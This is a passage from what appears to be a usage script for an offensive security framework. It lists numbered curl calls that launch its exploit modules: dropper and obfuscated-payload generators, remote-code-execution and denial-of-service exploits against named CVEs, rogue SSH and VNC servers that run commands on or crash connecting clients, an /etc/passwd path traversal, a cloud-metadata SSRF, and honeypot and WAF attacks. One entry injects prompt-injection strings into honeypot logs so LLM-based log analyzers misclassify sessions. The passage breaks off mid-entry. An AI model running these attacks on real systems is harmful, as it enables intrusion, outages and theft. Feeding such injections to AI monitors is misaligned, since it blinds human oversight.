# menu_choice: 1=BatGen, 2=LNK Gen, 3=Polymorph dropper,
#              4=Payload encoder, 5=Narutto dropper
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/payloadgens/payloadgen",
    "target": "10.0.0.5",
    "prompts": {
      "show_warning": "n",
      "menu_choice": "1",
      "output_file": "dropper.bat",
      "payload_url": "https://example.com/payload.ps1",
      "ps1_filename": "payload.ps1"
    }
  }' | python3 -m json.tool

# ─── 181. Obfuscator (multi-round payload obfuscation) ────────────
# Replaces the old payload_encoder. Chains/randomizes multiple
# obfuscation methods over text / hex / base64 / file input.
# Prompts: input_kind (text|hex|base64|file), input, mode
# (chain|random|same), rounds, format, save (y/n), filename.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/payloadgens/obfuscator",
    "target": "127.0.0.1",
    "prompts": {
      "input_kind": "text",
      "input": "whoami",
      "mode": "random",
      "rounds": "3",
      "format": "base64",
      "save": "y",
      "filename": "obfuscated.txt"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# OTHER EXPLOIT MODULES (185-194)
# (entry numbers 182-184 were freed by the payload-generator merge above)
# ═══════════════════════════════════════════════════════════════

# ─── 185. Bluetooth WPair ────────────────────────────────────────
# Bluetooth scanning and pairing attacks.
# Prompts: action (scan/pair/test)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/bluetooth/wpair",
    "target": "192.168.1.1",
    "prompts": { "action": "scan" }
  }' | python3 -m json.tool

# ─── 186. Geth DoS CVE-2026-22862 ────────────────────────────────
# Go Ethereum P2P DoS. mode 1-4.
# Prompts: p2p_port, rpc_port, mode, exclude_ranges, output_file, concurrency
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/crypto/geth_dos_cve_2026_22862",
    "target": "192.168.1.1",
    "prompts": {
      "p2p_port": "30303",
      "rpc_port": "8545",
      "mode": "1",
      "exclude_ranges": "y",
      "output_file": "geth_vulnerable_nodes.txt"
    }
  }' | python3 -m json.tool

# ─── 187. Heartbleed ─────────────────────────────────────────────
# OpenSSL Heartbleed (CVE-2014-0160) memory leak.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/crypto/heartbleed",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 188. FTP Bounce Test ────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ftp/ftp_bounce_test",
    "target": "192.168.1.1",
    "prompts": { "port": "21" }
  }' | python3 -m json.tool

# ─── 189. Pachev FTP Path Traversal ──────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ftp/pachev_ftp_path_traversal_1_0",
    "target": "192.168.1.1",
    "prompts": { "port": "21" }
  }' | python3 -m json.tool

# ─── 190. IPMI Enum/Exploit (exploit module) ─────────────────────
# Mode 1=single, 2=CIDR, 3=file. Tests cipher zero, anonymous, default creds, RAKP hash.
# Prompts: mode, target/cidr/target_file, port, test_cipher_zero, test_anonymous,
#          test_default_creds, test_rakp_hash, concurrency, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ipmi/ipmi_enum_exploit",
    "target": "192.168.1.1",
    "prompts": {
      "mode": "1",
      "port": "623",
      "test_cipher_zero": "y",
      "test_anonymous": "y",
      "test_default_creds": "y",
      "test_rakp_hash": "y",
      "concurrency": "50",
      "output_file": "ipmi_results.csv"
    }
  }' | python3 -m json.tool

# ─── 191. FreePBX Command Injection CVE-2025-64328 ───────────────
# Prompts: port (443), username, password, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/voip/cve_2025_64328_freepbx_cmdi",
    "target": "192.168.1.1",
    "prompts": {
      "port": "443",
      "username": "admin",
      "password": "",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 192. Windows DWM CVE-2026-20805 ─────────────────────────────
# Generates exploit payloads (C, PowerShell, Python) for DWM privilege escalation.
# Prompts: output_dir, generate_c, generate_ps1, generate_py, remote_target
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/windows/windows_dwm_cve_2026_20805",
    "target": "192.168.1.1",
    "prompts": {
      "output_dir": "cve_2026_20805_output",
      "generate_c": "y",
      "generate_ps1": "y",
      "generate_py": "y",
      "remote_target": ""
    }
  }' | python3 -m json.tool

# ─── 193. Telnet Auth Bypass CVE-2026-24061 ──────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/telnet/telnet_auth_bypass_cve_2026_24061",
    "target": "192.168.1.1",
    "prompts": { "port": "23" }
  }' | python3 -m json.tool

# ─── 194. Sample Exploit ─────────────────────────────────────────
# Minimal sample exploit module. Target only.
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/sample_exploit",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# ADDITIONAL MODULES (RECENTLY ADDED — entries 195-247)
# Modules added after the original 1-194 list. Grouped by category.
# All entries here are real, registered modules in src/modules/.
# ═══════════════════════════════════════════════════════════════

# ─── 195. OSINT — Certificate Transparency ────────────────────────
# Pure OSINT: queries crt.sh for every certificate issued to the
# target domain and extracts subdomains from CN/SAN. No traffic
# to the target. Target should be a registrable domain.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "osint/cert_transparency",
    "target": "example.com"
  }' | python3 -m json.tool

# ─── 196. Reflect Scanner (DNS/NTP/SSDP/Memcached amp probe) ──────
# Replaces the old amplification_scanner. Probes UDP services for
# amplification potential.
# Prompts: protos (comma list: dns,ntp,ssdp,memcached or "all"),
# timeout_ms, verbose
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/reflect_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "protos": "all",
      "timeout_ms": "3000",
      "verbose": "n"
    }
  }' | python3 -m json.tool

# ─── 197. SGBox SIEM Recon ────────────────────────────────────────
# HTTPS reconnaissance for SGBox SIEM consoles: fingerprints version,
# enumerates installed modules, checks for login-protection bypass.
# Prompts: https_port, timeout, probe_modules (y/n),
# check_login_protection (y/n), save (y/n), output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/sgbox_siem_recon",
    "target": "192.168.1.10",
    "prompts": {
      "https_port": "443",
      "timeout": "10",
      "probe_modules": "y",
      "check_login_protection": "y",
      "save": "y",
      "output_file": "sgbox_recon.txt"
    }
  }' | python3 -m json.tool

# ─── 198. Vuln Checker (run check() across all modules) ───────────
# Iterates every module exposing pub async fn check() and aggregates
# vulnerability results for the target. Read-only.
# Prompts: filter (substring of module path; blank = all),
# show_all (y/n — include not-vulnerable results)
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/vuln_checker",
    "target": "192.168.1.1",
    "prompts": {
      "filter": "",
      "show_all": "n"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# ADDITIONAL SSH EXPLOIT MODULES (199-202)
# Rogue-server / client-poisoning style modules — these *bind* a
# fake SSH server on the local box and exploit clients that connect
# (the "target" is the bind address). Use --target 0.0.0.0 to
# accept any client.
# ═══════════════════════════════════════════════════════════════

# ─── 199. AsyncSSH BeginAuthPass (client RCE on connect) ──────────
# Prompts: port, username (impersonated), command (executed on client)
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/asyncssh_beginauthpass",
    "target": "0.0.0.0",
    "prompts": {
      "port": "2222",
      "username": "root",
      "command": "id > /tmp/pwned"
    }
  }' | python3 -m json.tool

# ─── 200. libssh2 Rogue Server ────────────────────────────────────
# Prompts: port, log_file
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/libssh2_rogue_server",
    "target": "0.0.0.0",
    "prompts": {
      "port": "2222",
      "log_file": "libssh2_rogue.log"
    }
  }' | python3 -m json.tool

# ─── 201. Paramiko AuthNonePass (client RCE on connect) ───────────
# Prompts: port, username, command
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/paramiko_authnonepass",
    "target": "0.0.0.0",
    "prompts": {
      "port": "2222",
      "username": "root",
      "command": "id > /tmp/pwned"
    }
  }' | python3 -m json.tool

# ─── 202. Paramiko Unknown-Method (client RCE on connect) ─────────
# Prompts: port, username, command
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/paramiko_unknown_method",
    "target": "0.0.0.0",
    "prompts": {
      "port": "2222",
      "username": "admin",
      "command": "id > /tmp/pwned"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# VNC EXPLOIT MODULES (203-218)
# Most are rogue-server style: bind a fake VNC server and crash
# clients that connect. "target" is the bind address (0.0.0.0).
# Prompt: bind = "host:port" (e.g. "0.0.0.0:5900").
# Several are direct-server attacks — see notes per module.
# ═══════════════════════════════════════════════════════════════

# ─── 203. libvnc CheckRect Overflow ───────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/libvnc_checkrect_overflow",
    "target": "0.0.0.0",
    "prompts": { "bind": "0.0.0.0:5900" }
  }' | python3 -m json.tool

# ─── 204. libvnc Tight FilterGradient ─────────────────────────────
# Prompts: bind, num_rows
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/libvnc_tight_filtergradient",
    "target": "0.0.0.0",
    "prompts": { "bind": "0.0.0.0:5900", "num_rows": "65535" }
  }' | python3 -m json.tool

# ─── 205. libvnc UltraZip ─────────────────────────────────────────
# Prompts: bind, num_rects
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/libvnc_ultrazip",
    "target": "0.0.0.0",
    "prompts": { "bind": "0.0.0.0:5900", "num_rects": "1024" }
  }' | python3 -m json.tool

# ─── 206. libvnc WebSocket Overflow ───────────────────────────────
# Prompts: bind, payload_len
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/libvnc_websocket_overflow",
    "target": "0.0.0.0",
    "prompts": { "bind": "0.0.0.0:5900", "payload_len": "131072" }
  }' | python3 -m json.tool

# ─── 207. libvnc ZRLE Tile ────────────────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/libvnc_zrle_tile",
    "target": "0.0.0.0",
    "prompts": { "bind": "0.0.0.0:5900" }
  }' | python3 -m json.tool

# ─── 208. TigerVNC RRE Overflow ───────────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/tigervnc_rre_overflow",
    "target": "0.0.0.0",
    "prompts": { "bind": "0.0.0.0:5900" }
  }' | python3 -m json.tool

# ─── 209. TigerVNC Timing Oracle (password recovery) ──────────────
# Direct-server attack against a real VNC server.
# Prompts: samples (number of timing samples per byte)
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/tigervnc_timing_oracle",
    "target": "192.168.1.50",
    "prompts": { "samples": "100" }
  }' | python3 -m json.tool

# ─── 210. TightVNC Decompression Bomb (server attack) ─────────────
# Sends compressed payload that explodes during decompression.
# Prompts: password, bomb_size
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/tightvnc_decompression_bomb",
    "target": "192.168.1.50",
    "prompts": { "password": "", "bomb_size": "104857600" }
  }' | python3 -m json.tool

# ─── 211. TightVNC DES Hard-Coded Key ─────────────────────────────
# Decrypts vncpasswd files using TightVNC's hard-coded DES key.
# Prompt: encrypted hex string from .vnc/passwd
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/tightvnc_des_hardcoded_key",
    "target": "127.0.0.1",
    "prompts": { "encrypted": "1c3a9bdf2e..." }
  }' | python3 -m json.tool

# ─── 212. TightVNC FT Path Traversal ──────────────────────────────
# Prompts: password, mode (list|read|write), remote_path,
# local_file (only for write mode)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/tightvnc_ft_path_traversal",
    "target": "192.168.1.50",
    "prompts": {
      "password": "",
      "mode": "read",
      "remote_path": "../../../etc/passwd"
    }
  }' | python3 -m json.tool

# ─── 213. TightVNC Predictable Challenge ──────────────────────────
# Direct-server attack — exploits weak RNG in challenge generation.
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/tightvnc_predictable_challenge",
    "target": "192.168.1.50"
  }' | python3 -m json.tool

# ─── 214. TightVNC Rect Overflow ──────────────────────────────────
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/tightvnc_rect_overflow",
    "target": "0.0.0.0",
    "prompts": { "bind": "0.0.0.0:5900" }
  }' | python3 -m json.tool

# ─── 215. x11vnc DNS Injection ────────────────────────────────────
# Prompts: attacker_ip, inject_cmd, dns_port
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/x11vnc_dns_injection",
    "target": "192.168.1.50",
    "prompts": {
      "attacker_ip": "10.0.0.5",
      "inject_cmd": "id",
      "dns_port": "5353"
    }
  }' | python3 -m json.tool

# ─── 216. x11vnc Env Injection ────────────────────────────────────
# Prompts: hook_script, inject_ip
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/x11vnc_env_injection",
    "target": "192.168.1.50",
    "prompts": {
      "hook_script": "/tmp/hook.sh",
      "inject_ip": "10.0.0.5"
    }
  }' | python3 -m json.tool

# ─── 217. x11vnc UnixPW Inject ────────────────────────────────────
# Prompts: inject_user, password
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/vnc/x11vnc_unixpw_inject",
    "target": "192.168.1.50",
    "prompts": {
      "inject_user": "root",
      "password": "password123"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# COWRIE HONEYPOT EXPLOITS (218-220)
# Findings against the cowrie SSH honeypot. Default target:
# loopback on port 2222 with creds root:root or root:1234.
# ═══════════════════════════════════════════════════════════════

# ─── 218. Cowrie ANSI Log Injection ───────────────────────────────
# Embeds ANSI/OSC escapes in cowrie's command log. When an operator
# views the log via cat/tail on a real tty, the escapes execute
# (terminal title hijack, bell spam, cursor reposition).
# Prompts: port, username, password, payload (0=title, 1=bell, 2=cr)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cowrie/ansi_log_injection",
    "target": "127.0.0.1",
    "prompts": {
      "port": "2222",
      "username": "root",
      "password": "root",
      "payload": "0"
    }
  }' | python3 -m json.tool

# ─── 219. Cowrie LLM Prompt Injection ─────────────────────────────
# Injects prompt-injection strings into cowrie's session log so
# downstream LLM-based log analyzers misclassify the session.
# Prompts: mode (dry/live), port, username, password, injection (idx)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cowrie/llm_prompt_injection",
    "target": "127.0.0.1",
    "prompts": {
      "mode": "live",
      "port": "2222",
      "username": "root",
      "password": "root",
      "injection": "0"
    }
  }' | python3 -m json.tool

# ─── 220. Cowrie SSRF IPv6 ────────────────────────────────────────
# Abuses cowrie's wget/curl emulation to issue outbound IPv6 SSRF.
# Prompts: mode (static/live), ssh_port, username, password
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cowrie/ssrf_ipv6",
    "target": "127.0.0.1",
    "prompts": {
      "mode": "live",
      "ssh_port": "2222",
      "username": "root",
      "password": "1234"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# DIONAEA HONEYPOT EXPLOITS (221-224)
# Crash / SQLi vectors against the dionaea honeypot's emulated
# protocols.
# ═══════════════════════════════════════════════════════════════

# ─── 221. Dionaea MQTT Underflow ──────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dionaea/mqtt_underflow",
    "target": "127.0.0.1",
    "prompts": { "port": "1883" }
  }' | python3 -m json.tool

# ─── 222. Dionaea MSSQL DoS ───────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dionaea/mssql_dos",
    "target": "127.0.0.1",
    "prompts": { "port": "1433" }
  }' | python3 -m json.tool

# ─── 223. Dionaea MySQL SQLi ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dionaea/mysql_sqli",
    "target": "127.0.0.1",
    "prompts": { "port": "3306" }
  }' | python3 -m json.tool

# ─── 224. Dionaea TFTP Crash ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/dionaea/tftp_crash",
    "target": "127.0.0.1",
    "prompts": { "port": "69" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# HONEYTRAP / SNARE / TANNER EXPLOITS (225-228)
# Crash and MITM vectors against the honeytrap and snare/tanner
# honeypot stack.
# ═══════════════════════════════════════════════════════════════

# ─── 225. honeytrap Docker Panic ──────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/honeytrap/docker_panic",
    "target": "127.0.0.1",
    "prompts": { "port": "2375" }
  }' | python3 -m json.tool

# ─── 226. honeytrap FTP Panic ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/honeytrap/ftp_panic",
    "target": "127.0.0.1",
    "prompts": { "port": "21" }
  }' | python3 -m json.tool

# ─── 227. snare Cookie DoS ────────────────────────────────────────
# Prompts: port, path
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/snare/cookie_dos",
    "target": "127.0.0.1",
    "prompts": { "port": "8080", "path": "/" }
  }' | python3 -m json.tool

# ─── 228. snare/tanner Version MITM ───────────────────────────────
# Bind an HTTP listener that serves a forged tanner version string.
# Prompts: port (default 8090), version, one_shot (yes/no)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/snare/tanner_version_mitm",
    "target": "0.0.0.0",
    "prompts": {
      "port": "8090",
      "version": "0.6.0",
      "one_shot": "no"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# SAFELINE WAF EXPLOITS (229-234)
# Probes / exploits against the SafeLine WAF management interface.
# Default management port is 9443.
# ═══════════════════════════════════════════════════════════════

# ─── 229. SafeLine Cookie Attributes ──────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/safeline/cookie_attributes",
    "target": "192.168.1.10",
    "prompts": { "port": "9443" }
  }' | python3 -m json.tool

# ─── 230. SafeLine Nginx Injection ────────────────────────────────
# Prompts: port, cookie, mode (plain/lua), dry_run (yes/no)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/safeline/nginx_injection",
    "target": "192.168.1.10",
    "prompts": {
      "port": "9443",
      "cookie": "session=...",
      "mode": "plain",
      "dry_run": "yes"
    }
  }' | python3 -m json.tool

# ─── 231. SafeLine No-Auth Probe ──────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/safeline/no_auth_probe",
    "target": "192.168.1.10",
    "prompts": { "port": "9443" }
  }' | python3 -m json.tool

# ─── 232. SafeLine Pre-Auth TFA ───────────────────────────────────
# Prompts: port, dry_run (yes/no)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/safeline/pre_auth_tfa",
    "target": "192.168.1.10",
    "prompts": { "port": "9443", "dry_run": "yes" }
  }' | python3 -m json.tool

# ─── 233. SafeLine Session Secret Entropy ─────────────────────────
# Prompts: port, no_probe (yes/no)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/safeline/session_secret_entropy",
    "target": "192.168.1.10",
    "prompts": { "port": "9443", "no_probe": "no" }
  }' | python3 -m json.tool

# ─── 234. SafeLine Unauth Writes ──────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/safeline/unauth_writes",
    "target": "192.168.1.10",
    "prompts": { "port": "9443" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# ADDITIONAL FRAMEWORK EXPLOITS (235-236)
# ═══════════════════════════════════════════════════════════════

# ─── 235. Apache Camel Header Injection CVE-2025-27636 ────────────
# Prompts: port, scheme (http/https), path, command, inject_header
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/apache_camel/cve_2025_27636_camel_header_injection",
    "target": "192.168.1.20",
    "prompts": {
      "port": "8080",
      "scheme": "http",
      "path": "/",
      "command": "id",
      "inject_header": "CamelExec"
    }
  }' | python3 -m json.tool

# ─── 236. PHP RCE CVE-2025-51373 ──────────────────────────────────
# Prompts: port, scheme, cgi_path, command (PHP code)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/frameworks/php/cve_2025_51373_php_rce",
    "target": "192.168.1.20",
    "prompts": {
      "port": "80",
      "scheme": "http",
      "cgi_path": "/cgi-bin/php-cgi",
      "command": "echo shell_exec(\"id\");"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# ADDITIONAL NETWORK INFRA EXPLOITS (237-238)
# ═══════════════════════════════════════════════════════════════

# ─── 237. Commvault RCE CVE-2025-34028 ────────────────────────────
# Prompts: port, scheme, shell_name, command
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/commvault/cve_2025_34028_commvault_rce",
    "target": "192.168.1.30",
    "prompts": {
      "port": "443",
      "scheme": "https",
      "shell_name": "cv_shell",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 238. Kubernetes Ingress-Nginx RCE CVE-2025-1974 ──────────────
# Prompts: port (admission webhook, default 8443), mode, ssrf_url
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/kubernetes/cve_2025_1974_ingress_nginx_rce",
    "target": "192.168.1.40",
    "prompts": {
      "port": "8443",
      "mode": "rce",
      "ssrf_url": "http://169.254.169.254/latest/meta-data/"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# ADDITIONAL WEB APPLICATION EXPLOITS (239-246)
# ═══════════════════════════════════════════════════════════════

# ─── 239. API Attack Suite ────────────────────────────────────────
# Comprehensive API attack suite — auto-discovers endpoints, probes
# BOLA/IDOR, missing rate limits, GraphQL DoS, etc. Many prompts.
# Prompts: auto_mode (y/n), request_input_mode, raw, request_file,
# timeout, concurrency, idor_probe (y/n), idor_range, rate_probe,
# rate_burst, graphql_dos (y/n), extra_endpoints
curl -s --max-time 600 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/api_attack_suite",
    "target": "https://api.example.com",
    "prompts": {
      "auto_mode": "y",
      "request_input_mode": "auto",
      "timeout": "10",
      "concurrency": "8",
      "idor_probe": "y",
      "idor_range": "25",
      "rate_probe": "n",
      "graphql_dos": "n",
      "extra_endpoints": ""
    }
  }' | python3 -m json.tool

# ─── 240. Langflow build_public_tmp RCE CVE-2026-33017 ────────────
# Prompts: port, scheme, command (required)
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/langflow/cve_2026_33017_build_public_tmp_rce",
    "target": "192.168.1.50",
    "prompts": {
      "port": "7860",
      "scheme": "http",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 241. MISP RCE CVE-2025-27364 ─────────────────────────────────
# Prompts: port, scheme, email, password, shell_name, command
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/misp_rce_cve_2025_27364",
    "target": "192.168.1.60",
    "prompts": {
      "port": "443",
      "scheme": "https",
      "email": "user@example.com",
      "password": "password123",
      "shell_name": "sample.php",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 242. n8n Form-Trigger AFR CVE-2026-21858 ─────────────────────
# Prompts: port, scheme, form_path (required), file_to_read
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/webapps/n8n/n8n_form_afr_cve_2026_21858",
    "target": "192.168.1.70",
    "prompts": {
      "port": "5678",
      "scheme": "http",
      "form_path": "/form/abc123",
